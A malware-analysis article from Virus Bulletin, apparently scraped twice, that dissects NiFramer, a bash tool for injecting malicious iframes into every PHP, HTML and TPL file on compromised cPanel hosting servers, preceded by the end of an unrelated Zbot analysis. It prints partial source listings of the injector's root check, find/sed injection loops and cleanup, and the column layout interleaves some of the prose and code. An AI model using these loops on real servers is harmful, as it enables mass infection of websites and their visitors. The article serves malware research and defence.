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MALWARE ANALYSIS 3
information about each device using the QueryDosDeviceW
API. Zbot uses the resulting device type and compares it
against the ProcessImageFileName to determine the exact
path of the executable file of the currently parsed process.
Once Zbot knows the exact path of the equivalent
executable file of the parsed process, it starts gathering
information by calling the GetFileVersionInfoSizeW API to
determine if the file contains version information. If there
is no version information available for the executable file,
Zbot will skip this part of the routine.
This is followed by actually getting the file version
information using a call to the GetFileVersionInfoW API.
Then, the malware uses the VerQueryValueW API with
‘VarFileInfoTranslation’ as the parameter, to get the
pointer to the translation array from the version-information
resource. It uses the resulting array of language and code
page identifiers to determine the ‘{lang-codepage}’ value
for the next call to the VerQueryValueW API.
Finally, Zbot gets the ‘Product Name’ of the executable
file using another call to the VerQueryValueW API with an
lpSubBlock parameter of ‘StringFileInfo{lang-codepage}
ProductName’.
After getting the ‘Product Name’ of the executable file,
Zbot checks it against specific strings found in some
anti-malware applications (see Figure 3).
If the executable file’s ‘Product Name’ contains substrings
of an anti-malware name, Zbot will not perform the code
injection for the executable’s process.

INSIDE AN IFRAME INJECTOR: A
LOOK INTO NIFRAMER
Aditya K. Sood
Michigan State University, USA
Rohit Bansal & Peter Greko
Independent security researchers, USA
In this article, we discuss the design of an iframe injector
used to infect web-hosting software such as cPanel in an
automated manner. Several different iframe injector designs
exist, but we look at one of the most basic: NiFramer.

INTRODUCTION
Iframe injectors are used by attackers to automate the
process of injecting malicious iframe tags into web pages.
These tools are designed to perform distributed infections
on a target server in a short period of time. Iframe
injectors are accompanied by automated malware infection
frameworks either as a built-in component or separately.
In this paper, we present a variant of NiFramer, an
automated iframe injection tool that is used to infect cPanel
installations on compromised servers. Iframe injectors
work with both dedicated and virtual hosting servers, but
their primary benefit is in infecting virtual hosting servers
that host large numbers of servers running websites and
applications. Running an iframe injector on a compromised
virtual hosting server can easily result in the infection of
hundreds of web servers in just a few seconds.

WRAP UP
We all know that Zbot is a well-coded piece of malware.
It uses a non-standard way of doing things compared with
other malware. Instead of using the GetWindowsDirectory
API to get the %windir% folder, it uses the newer
SHGetFolderPathW API. Instead of checking the process
names for anti-malware strings, it looks for the product
name of the actual file in the disk. And generating 624
random DWORD values a few times just to generate a
single DWORD is probably a little excessive.
Zbot is one of the main players in the malware underground.
Its structure is as well coded as it is designed. It has lots of
functionalities and capabilities, and this article only touches
on a small percentage of them.
As we have seen so far, there is always room for
enhancements and upgrades pertaining to its code. We are
likely to see further adaptation of Zbot to its ecosystem and
its environment in the near future.
As always, we will be there to keep you up to date.

12

OCTOBER 2013

INFECTION MODEL AND COMPONENTS
A simple infection model is explained below:
• The attacker targets end-user machines to install
malware.
• Once the malware is installed, it exfiltrates data from
the end-user systems.
• The attacker retrieves the credentials (username,
password) of the hosting server and uses the stolen
credentials to gain access to it. (There are a number
of other ways to gain access to hosting servers, which
include but are not limited to: exploiting vulnerabilities,
brute-forcing attacks, privilege escalations, etc.).
• The compromised server may have thousands of
websites hosted on it. From the attacker’s perspective,
it is not feasible to edit and infect one website at a time
by injecting a malicious iframe into the web pages.
To automate this process, the attacker uses an iframe
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injector tool which infects a large number of websites
in one go.
A basic outline of the NiFramer iframe injector is shown in
Figure 1.

Key validation
Before the execution of NiFramer code, the iframe injector
looks for a file named ‘niframer.txt’, which carries a secret
key in the form of an MD5. The purpose of this key in the
context of NiFramer is not clear. It could be an additional
verification check if NiFramer is embedded within another
software component – the key is required to execute
NiFramer. It basically reads the file ‘niframer.key’ and
outputs the value in variable ‘key’. This is matched against
a hard-coded MD5/SHA key for verification and validation.
If the key validation fails, two or three more attempts are
made before NiFramer exits and stops the execution on
the compromised server. A temporary file (/tmp/keyseq)
is created for recording the number of attempts made.
The embedded key does not appear to have any purpose if
NiFramer is used as a standalone tool. Listing 1 shows a
code snippet revealing how the key is validated. If the key is
validated, the code triggers the file_check function.

Injection file validation
Figure 1: NiFramer injector in action.

The iframe injector reads the injection code (iframe code
pointing to a domain serving malware) from a file. Instead

The various components of NiFramer are as follows:
• The main() function is called to execute the
subroutines.

key_check() {
if [ -f niframer.key ]
then

• The key_check() function is called to validate the
NiFramer key. The key is required for validation when
NiFramer is embedded within a framework.

key=`cat niframer.key`

• The file_check() function is called to verify the
presence of a file containing the iframe injection.

echo “ERROR: Key Invalid.”

• The priv_check() function is executed to check for root
access on the compromised server.
• The server_software_selection() function is used to
provide options for the server-side hosting software,
i.e. to specify whether the server is running cPanel or a
custom installation.
• The iframe_injection() function is executed to trigger
iframe injection in a specific folder for previously
chosen files such as HTML and PHP.
• The clean_environment() function removes temporary
files and any hidden files generated during the injection
process.
We will discuss each of these components in the next section.

if [ “$key” != “<Insert Key>” ];
then

if [ -f /tmp/keyseq ]; then
if [ “$((`cat /tmp/keyseq` + 1))” -gt 2 ]; then
echo “0 retries left. Now removing self.”
else
echo “$((`cat /tmp/keyseq` + 1))” > /tmp/keyseq
&& echo “Retries Left:” “$((3 - `cat /tmp/keyseq`))”
fi
else
echo “Retries Left: 2”
echo 1 > /tmp/keyseq
fi
else
echo “Key Found... initializing...”
file_check
fi
else
echo “ERROR: Key file not found.”

DISSECTING NIFRAMER COMPONENTS
This section details NiFramer’s components and the
requisite code used to implement them.

exit
fi}

Listing 1: Key validation check.

OCTOBER 2013

13
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of the iframe injection being hard coded, the injector is
designed to read from a file in order to interpret injections for
modularity and extensibility. Placing the iframe injection in
a file makes it easy for the attackers to update the injections.
NiFramer performs a file check as shown in Listing 2.
file_check() {
if [ -f infect.txt ]
then
priv_check
else
echo “infect.txt is missing, please make the file
with your code included”
fi}

priv_check() {
if [ `whoami` != “root” ]
then
echo “Must be ran as root.”
exit
else
echo “###################”
echo “# NiFramer

by

……...#”

echo “###################”
softwareami
fi }
---------- Truncated -------------------------

Listing 3: Privilege access rights check.

Listing 2: Iframe injection file validation.
softwareami() {

Privilege check
The iframe injector performs a privilege (i.e. access rights)
check after validating the existence of the injection file. The
idea is to determine whether or not the attacker has root
access on the compromised server. This check is necessary
because non-super-user access can skew the iframe injection
process. This is because restricted accounts might not have
the necessary access rights to write and update the web
pages of different hosts present on the server. NiFramer
requires root access in order to carry out the injection
process successfully. As shown in Listing 3, the iframe
injector uses the ‘whoami’ command to check for root
access on the server. If the attacker has root access, the next
module is executed to initiate the iframe injection process.
If the attacker does not have root access, the injection tool
exits and becomes dormant.

Installed software selection
Once root access has been verified, the type of software
installed on the compromised server must be specified.
The version of NiFramer we analysed has two options:
cPanel web server software or custom web server software.
The attacker selects the appropriate option and NiFramer
executes the relevant code for the selected software. Listing
4 shows the code used to check for the installed software.

Iframe injection
Once the attacker has specified the hosting server software,
NiFramer loads the respective component for performing
iframe injections. NiFramer has the capability to inject
into HTML, PHP and TPL files1. This functionality can

PS3=’Choose the system web server type: ‘
Select software in “CPanel” “Custom” # Will add
more definitions later.
do
$software
done}
---------- Truncated -------------------------

Listing 4: Installed software type.
be extended to include additional files which can also be
injected into based on the requirement.
The infection flow in custom web software is as follows:
• NiFramer uses the ‘find’ command to detect the
presence of PHP, HTML and TPL files and exempts
a list of files by declaring a global array containing
exempted entries. NiFramer provides an exemption
code to list the type of files that should not be injected.
Listing 5 shows how exemptions are declared.
NiFramer will not inject into config.php,
configuration.php and settings.php.
exempt=(“! -name config.php” “! -name configuration.
php” “! -name settings.php” “! -name inc”);

Listing 5: File type exemption.
• If the relevant files are detected, NiFramer searches
for the pattern using the ‘sed’ command and injects
the iframe code into the space between the <html> and
</html> tags.
Listing 6 shows how the custom hosting software is
searched and web pages are injected.

1

‘The TPL file extension is used [in] PHP web development and PHP
web applications as a template file. [It is] mostly used by [the] Smarty
template engine. [The] template is a common text source code file and
contains user-predefined variables that are replaced by user-defined

14

OCTOBER 2013

output content when [a] PHP web application [is] parsing a template
file or files and generating a web page or other output format.’
(http://tpl.fileextensionguide.com/)
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custom() {
echo -n “Please enter directory of home folders: “
read home_dir
cd $home_dir
echo “Starting injection of PHP files”

CPanel() {
echo “Scanning $(ls /home/ | wc -l) directorys
for files. This could take a while...”
cd /home/

sleep 5

echo “Starting injection of PHP files”
sleep 5

for i in $(find `pwd` -name ‘*.php’ ${exempt[@]})

for i in $(find `pwd` -name ‘*.php’ ${exempt[@]})

do

do

echo Injecting “$i”

echo Injecting “$i”

cat $i > $i.tmp && cat $i.tmp | sed s/<html>/
<html>”$code”/g > $i
rm -f $i.tmp
done
# Similarly for HTML and TPL files
-------------------- Truncated -----------------------

cat $i > $i.tmp && cat $i.tmp | sed s/<html>/
<html>”$code”/g > $i
rm -f $i.tmp
done
# Similarly for HTML and TPL files
echo “Completed injection of found files.”

Listing 6: Injecting iframe into custom web server software.
The infection flow in cPanel software is as follows:
• NiFramer traverses the ‘home’ directory to determine
the number of hosts present on the server and to
get an idea of the number of iframe injections to be
performed. It then jumps into the home directory to
initiate the process.
• It checks for the presence of HTML, PHP and TPL
files, as in the case of custom hosting server software,
and starts the injection process. The injection is
performed in a similar fashion to that used for custom
software – the iframe is injected between the <html>
and </html> tags.
• In cPanel iframe injection, NiFramer performs an
additional check for the presence of index files. If no
index file is found on the server in the respective host
directory, NiFramer creates one and injects an iframe
into it. This is to provide additional assurance that the
iframe has been injected.

cd /root/cpanel3-skel/public_html/
if [ $(ls | grep html); then
for i in $(find `pwd` -name ‘*.html’
${exempt[@]})
do
echo Injecting “$i”
cat $i > $i.tmp && cat $i.tmp | sed s/<html>/
<html>”$code”/g > $i
rm -f $i.tmp
done
else
echo “No HTML files found in /root/cpanel3-skel/
public_html/”
echo “Creating index.html..”
echo $code > index.html
sleep 1
fi
echo “Completed injection of skeleton
directory.”
echo “Starting injection into CPanel & WHM
template files (The panel itself)”

Listing 7 shows how NiFramer infects cPanel software.
Listing 7: Injecting iframe into cPanel server software.

CLEAN ENVIRONMENT
Once the iframes have been injected into the web pages,
NiFramer cleans up the temporary files created during the
injection process. The idea is to remove all traces of the
injection process to try to make it as stealthy as possible. The
‘rm’ command is used to delete the temporary (.tmp) files.

• We will be looking at other iframe injector code in our
future research. The aim is to start with the most basic
and delve deeper into more complex code. We plan to
look at the ZFramer and Citadel injectors next.

CONCLUSION
ADDITIONAL NOTES
• The code of NiFramer is not complex (in the way it is
constructed). It is written in bash scripting language,
but it serves its purpose and the code has been used in
the wild.

This article presents the design of a very basic iframe
injector tool known as NiFramer. Using an automated
iframe injector tool, an attacker can easily automate the
injection process and perform distributed infections, thereby
infecting hundreds of web servers in just seconds.

OCTOBER 2013

15

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NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine

  • 1. VIRUS BULLETIN www.virusbtn.com MALWARE ANALYSIS 3 information about each device using the QueryDosDeviceW API. Zbot uses the resulting device type and compares it against the ProcessImageFileName to determine the exact path of the executable file of the currently parsed process. Once Zbot knows the exact path of the equivalent executable file of the parsed process, it starts gathering information by calling the GetFileVersionInfoSizeW API to determine if the file contains version information. If there is no version information available for the executable file, Zbot will skip this part of the routine. This is followed by actually getting the file version information using a call to the GetFileVersionInfoW API. Then, the malware uses the VerQueryValueW API with ‘VarFileInfoTranslation’ as the parameter, to get the pointer to the translation array from the version-information resource. It uses the resulting array of language and code page identifiers to determine the ‘{lang-codepage}’ value for the next call to the VerQueryValueW API. Finally, Zbot gets the ‘Product Name’ of the executable file using another call to the VerQueryValueW API with an lpSubBlock parameter of ‘StringFileInfo{lang-codepage} ProductName’. After getting the ‘Product Name’ of the executable file, Zbot checks it against specific strings found in some anti-malware applications (see Figure 3). If the executable file’s ‘Product Name’ contains substrings of an anti-malware name, Zbot will not perform the code injection for the executable’s process. INSIDE AN IFRAME INJECTOR: A LOOK INTO NIFRAMER Aditya K. Sood Michigan State University, USA Rohit Bansal & Peter Greko Independent security researchers, USA In this article, we discuss the design of an iframe injector used to infect web-hosting software such as cPanel in an automated manner. Several different iframe injector designs exist, but we look at one of the most basic: NiFramer. INTRODUCTION Iframe injectors are used by attackers to automate the process of injecting malicious iframe tags into web pages. These tools are designed to perform distributed infections on a target server in a short period of time. Iframe injectors are accompanied by automated malware infection frameworks either as a built-in component or separately. In this paper, we present a variant of NiFramer, an automated iframe injection tool that is used to infect cPanel installations on compromised servers. Iframe injectors work with both dedicated and virtual hosting servers, but their primary benefit is in infecting virtual hosting servers that host large numbers of servers running websites and applications. Running an iframe injector on a compromised virtual hosting server can easily result in the infection of hundreds of web servers in just a few seconds. WRAP UP We all know that Zbot is a well-coded piece of malware. It uses a non-standard way of doing things compared with other malware. Instead of using the GetWindowsDirectory API to get the %windir% folder, it uses the newer SHGetFolderPathW API. Instead of checking the process names for anti-malware strings, it looks for the product name of the actual file in the disk. And generating 624 random DWORD values a few times just to generate a single DWORD is probably a little excessive. Zbot is one of the main players in the malware underground. Its structure is as well coded as it is designed. It has lots of functionalities and capabilities, and this article only touches on a small percentage of them. As we have seen so far, there is always room for enhancements and upgrades pertaining to its code. We are likely to see further adaptation of Zbot to its ecosystem and its environment in the near future. As always, we will be there to keep you up to date. 12 OCTOBER 2013 INFECTION MODEL AND COMPONENTS A simple infection model is explained below: • The attacker targets end-user machines to install malware. • Once the malware is installed, it exfiltrates data from the end-user systems. • The attacker retrieves the credentials (username, password) of the hosting server and uses the stolen credentials to gain access to it. (There are a number of other ways to gain access to hosting servers, which include but are not limited to: exploiting vulnerabilities, brute-forcing attacks, privilege escalations, etc.). • The compromised server may have thousands of websites hosted on it. From the attacker’s perspective, it is not feasible to edit and infect one website at a time by injecting a malicious iframe into the web pages. To automate this process, the attacker uses an iframe
  • 2. VIRUS BULLETIN www.virusbtn.com injector tool which infects a large number of websites in one go. A basic outline of the NiFramer iframe injector is shown in Figure 1. Key validation Before the execution of NiFramer code, the iframe injector looks for a file named ‘niframer.txt’, which carries a secret key in the form of an MD5. The purpose of this key in the context of NiFramer is not clear. It could be an additional verification check if NiFramer is embedded within another software component – the key is required to execute NiFramer. It basically reads the file ‘niframer.key’ and outputs the value in variable ‘key’. This is matched against a hard-coded MD5/SHA key for verification and validation. If the key validation fails, two or three more attempts are made before NiFramer exits and stops the execution on the compromised server. A temporary file (/tmp/keyseq) is created for recording the number of attempts made. The embedded key does not appear to have any purpose if NiFramer is used as a standalone tool. Listing 1 shows a code snippet revealing how the key is validated. If the key is validated, the code triggers the file_check function. Injection file validation Figure 1: NiFramer injector in action. The iframe injector reads the injection code (iframe code pointing to a domain serving malware) from a file. Instead The various components of NiFramer are as follows: • The main() function is called to execute the subroutines. key_check() { if [ -f niframer.key ] then • The key_check() function is called to validate the NiFramer key. The key is required for validation when NiFramer is embedded within a framework. key=`cat niframer.key` • The file_check() function is called to verify the presence of a file containing the iframe injection. echo “ERROR: Key Invalid.” • The priv_check() function is executed to check for root access on the compromised server. • The server_software_selection() function is used to provide options for the server-side hosting software, i.e. to specify whether the server is running cPanel or a custom installation. • The iframe_injection() function is executed to trigger iframe injection in a specific folder for previously chosen files such as HTML and PHP. • The clean_environment() function removes temporary files and any hidden files generated during the injection process. We will discuss each of these components in the next section. if [ “$key” != “<Insert Key>” ]; then if [ -f /tmp/keyseq ]; then if [ “$((`cat /tmp/keyseq` + 1))” -gt 2 ]; then echo “0 retries left. Now removing self.” else echo “$((`cat /tmp/keyseq` + 1))” > /tmp/keyseq && echo “Retries Left:” “$((3 - `cat /tmp/keyseq`))” fi else echo “Retries Left: 2” echo 1 > /tmp/keyseq fi else echo “Key Found... initializing...” file_check fi else echo “ERROR: Key file not found.” DISSECTING NIFRAMER COMPONENTS This section details NiFramer’s components and the requisite code used to implement them. exit fi} Listing 1: Key validation check. OCTOBER 2013 13
  • 3. VIRUS BULLETIN www.virusbtn.com of the iframe injection being hard coded, the injector is designed to read from a file in order to interpret injections for modularity and extensibility. Placing the iframe injection in a file makes it easy for the attackers to update the injections. NiFramer performs a file check as shown in Listing 2. file_check() { if [ -f infect.txt ] then priv_check else echo “infect.txt is missing, please make the file with your code included” fi} priv_check() { if [ `whoami` != “root” ] then echo “Must be ran as root.” exit else echo “###################” echo “# NiFramer by ……...#” echo “###################” softwareami fi } ---------- Truncated ------------------------- Listing 3: Privilege access rights check. Listing 2: Iframe injection file validation. softwareami() { Privilege check The iframe injector performs a privilege (i.e. access rights) check after validating the existence of the injection file. The idea is to determine whether or not the attacker has root access on the compromised server. This check is necessary because non-super-user access can skew the iframe injection process. This is because restricted accounts might not have the necessary access rights to write and update the web pages of different hosts present on the server. NiFramer requires root access in order to carry out the injection process successfully. As shown in Listing 3, the iframe injector uses the ‘whoami’ command to check for root access on the server. If the attacker has root access, the next module is executed to initiate the iframe injection process. If the attacker does not have root access, the injection tool exits and becomes dormant. Installed software selection Once root access has been verified, the type of software installed on the compromised server must be specified. The version of NiFramer we analysed has two options: cPanel web server software or custom web server software. The attacker selects the appropriate option and NiFramer executes the relevant code for the selected software. Listing 4 shows the code used to check for the installed software. Iframe injection Once the attacker has specified the hosting server software, NiFramer loads the respective component for performing iframe injections. NiFramer has the capability to inject into HTML, PHP and TPL files1. This functionality can PS3=’Choose the system web server type: ‘ Select software in “CPanel” “Custom” # Will add more definitions later. do $software done} ---------- Truncated ------------------------- Listing 4: Installed software type. be extended to include additional files which can also be injected into based on the requirement. The infection flow in custom web software is as follows: • NiFramer uses the ‘find’ command to detect the presence of PHP, HTML and TPL files and exempts a list of files by declaring a global array containing exempted entries. NiFramer provides an exemption code to list the type of files that should not be injected. Listing 5 shows how exemptions are declared. NiFramer will not inject into config.php, configuration.php and settings.php. exempt=(“! -name config.php” “! -name configuration. php” “! -name settings.php” “! -name inc”); Listing 5: File type exemption. • If the relevant files are detected, NiFramer searches for the pattern using the ‘sed’ command and injects the iframe code into the space between the <html> and </html> tags. Listing 6 shows how the custom hosting software is searched and web pages are injected. 1 ‘The TPL file extension is used [in] PHP web development and PHP web applications as a template file. [It is] mostly used by [the] Smarty template engine. [The] template is a common text source code file and contains user-predefined variables that are replaced by user-defined 14 OCTOBER 2013 output content when [a] PHP web application [is] parsing a template file or files and generating a web page or other output format.’ (http://tpl.fileextensionguide.com/)
  • 4. VIRUS BULLETIN www.virusbtn.com custom() { echo -n “Please enter directory of home folders: “ read home_dir cd $home_dir echo “Starting injection of PHP files” CPanel() { echo “Scanning $(ls /home/ | wc -l) directorys for files. This could take a while...” cd /home/ sleep 5 echo “Starting injection of PHP files” sleep 5 for i in $(find `pwd` -name ‘*.php’ ${exempt[@]}) for i in $(find `pwd` -name ‘*.php’ ${exempt[@]}) do do echo Injecting “$i” echo Injecting “$i” cat $i > $i.tmp && cat $i.tmp | sed s/<html>/ <html>”$code”/g > $i rm -f $i.tmp done # Similarly for HTML and TPL files -------------------- Truncated ----------------------- cat $i > $i.tmp && cat $i.tmp | sed s/<html>/ <html>”$code”/g > $i rm -f $i.tmp done # Similarly for HTML and TPL files echo “Completed injection of found files.” Listing 6: Injecting iframe into custom web server software. The infection flow in cPanel software is as follows: • NiFramer traverses the ‘home’ directory to determine the number of hosts present on the server and to get an idea of the number of iframe injections to be performed. It then jumps into the home directory to initiate the process. • It checks for the presence of HTML, PHP and TPL files, as in the case of custom hosting server software, and starts the injection process. The injection is performed in a similar fashion to that used for custom software – the iframe is injected between the <html> and </html> tags. • In cPanel iframe injection, NiFramer performs an additional check for the presence of index files. If no index file is found on the server in the respective host directory, NiFramer creates one and injects an iframe into it. This is to provide additional assurance that the iframe has been injected. cd /root/cpanel3-skel/public_html/ if [ $(ls | grep html); then for i in $(find `pwd` -name ‘*.html’ ${exempt[@]}) do echo Injecting “$i” cat $i > $i.tmp && cat $i.tmp | sed s/<html>/ <html>”$code”/g > $i rm -f $i.tmp done else echo “No HTML files found in /root/cpanel3-skel/ public_html/” echo “Creating index.html..” echo $code > index.html sleep 1 fi echo “Completed injection of skeleton directory.” echo “Starting injection into CPanel & WHM template files (The panel itself)” Listing 7 shows how NiFramer infects cPanel software. Listing 7: Injecting iframe into cPanel server software. CLEAN ENVIRONMENT Once the iframes have been injected into the web pages, NiFramer cleans up the temporary files created during the injection process. The idea is to remove all traces of the injection process to try to make it as stealthy as possible. The ‘rm’ command is used to delete the temporary (.tmp) files. • We will be looking at other iframe injector code in our future research. The aim is to start with the most basic and delve deeper into more complex code. We plan to look at the ZFramer and Citadel injectors next. CONCLUSION ADDITIONAL NOTES • The code of NiFramer is not complex (in the way it is constructed). It is written in bash scripting language, but it serves its purpose and the code has been used in the wild. This article presents the design of a very basic iframe injector tool known as NiFramer. Using an automated iframe injector tool, an attacker can easily automate the injection process and perform distributed infections, thereby infecting hundreds of web servers in just seconds. OCTOBER 2013 15